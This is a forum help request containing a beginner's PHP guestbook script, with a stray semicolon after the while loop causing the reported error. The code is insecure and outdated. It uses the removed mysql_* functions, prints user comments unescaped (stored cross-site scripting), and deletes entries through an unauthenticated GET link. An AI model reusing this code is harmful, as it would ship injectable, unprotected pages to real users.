</body> </html> Code: [Select] <?php mysql_connect ("-","-","-") or die ('Error'); mysql_select_db ("-"); $out = mysql_query("SELECT * FROM guestbook ORDER BY id DESC"); while($row = mysql_fetch_assoc($out); --and this one if that braces is deleted { ----this is where im getting the error $name = $row['name']; $email = $row['email']; $txt = $row['comment']; $msg = "Are you sure you want to delete"; /* @var $_REQUEST <type> */ if (isset($_REQUEST ["action"]) && $_REQUEST["action"] == "del") { $id = intval($_REQUEST['id']); mysql_query("DELETE FROM guestbook WHERE id=$id;"); echo "<action=index.php>"; } echo "<font face='verdana' size='1'>"; echo "<table border='0'> <tr><td>Name: ".$name."</td></tr>"." <tr><td>Email: ".$email."</td></tr> <tr><td colspan='2'>Comment:</td></tr> <tr><td colspan='2' width='500'><b>".$txt."</b></td></tr> <tr><td><a onclick=\"return confirm('.$msg.');\" href='index.php?action=del&id=".$row['id']."'><span class='red'>["."Delete"."]</span></a> </td></tr> </table><br />"; echo "<hr size='1' width='500' align='left'></font>"; } ?> Kindly help me please. When i delete ({) the error will become the ( i dont know what to do already. Thanks. |